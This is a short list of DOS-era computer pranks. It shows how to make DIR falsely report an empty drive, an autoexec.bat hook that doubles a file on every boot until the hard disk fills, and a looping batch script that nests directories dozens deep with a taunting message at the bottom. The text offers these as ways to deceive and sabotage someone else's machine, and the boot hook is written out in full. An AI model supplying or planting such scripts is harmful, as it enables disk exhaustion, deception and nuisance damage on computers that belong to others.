Fake format: The easiest way to fake an empty HDD on a DOS pc is to type 'SET DIRCMD={something}', that will make the DIR command think you type DIR {something}, and if 'something' is not something that exists on the drive, you'll only get the response 'No files found'. This can be further elaborated with a program that fakes the formatting process and looks just like the real thing.

Drive space gobbler: In autoexec.bat add these lines:

ren {file2} {file1} copy /y {file1}+{file1} {file2}

and then add a file with the name with a size of a few bytes. Then each time the computer is booted, the file will get twice as big, until the hdd is full.

Directory hell: Make a simple bat file like this:

:1
md {dirname}
cd {dirname}
goto 1

It wil create like 30-40 directories under each other. The shorter dirname is, the more levels you'll get. Then you may put a taunting message in the last one if you wish...